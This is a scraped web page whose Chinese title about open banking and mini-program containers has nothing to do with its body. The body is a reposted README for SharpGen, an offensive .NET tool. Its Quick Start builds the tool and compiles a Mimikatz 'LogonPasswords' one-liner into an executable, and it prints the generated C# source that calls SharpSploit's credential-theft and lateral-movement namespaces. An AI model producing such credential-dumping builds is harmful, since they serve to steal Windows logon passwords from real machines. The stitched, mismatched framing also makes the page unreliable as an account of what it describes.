洞察探索open banking如何通过小程序容器技术助力金融企业实现数据安全和数字化转型
590
2022-10-22
Sharp Gem是一个.NET Core控制台应用程序
SharpGen
SharpGen is a .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile .NET Framework console applications or libraries.
Intro
You'll find details and motivations for the SharpGen project in this introductory blog post.
Quick Start
The most basic usage of SharpGen would be to provide SharpGen an output filename and a C# one-liner that you’d like to execute. SharpGen will generate a .NET Framework console application that will execute the one-liner. For example:
cobbr@mac:~ > git clone https://github.com/cobbr/SharpGencobbr@mac:~ > cd SharpGencobbr@mac:~/SharpGen > dotnet buildcobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"[+] Compiling source:using System;using System.IO;using System.Text;using System.Linq;using System.Security.Principal;using System.Collections.Generic;using SharpSploit.Credentials;using SharpSploit.Enumeration;using SharpSploit.Execution;using SharpSploit.LateralMovement;using SharpSploit.Generic;using SharpSploit.Misc;public static class jZTyloQN2SU4{ static void Main() { Console.WriteLine(Mimikatz.LogonPasswords()); return; }}[+] Compiling optimized source:using System;using SharpSploit.Credentials;public static class jZTyloQN2SU4{ static void Main() { Console.WriteLine(Mimikatz.LogonPasswords()); return; }}[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
发表评论
暂时没有评论,来抢沙发吧~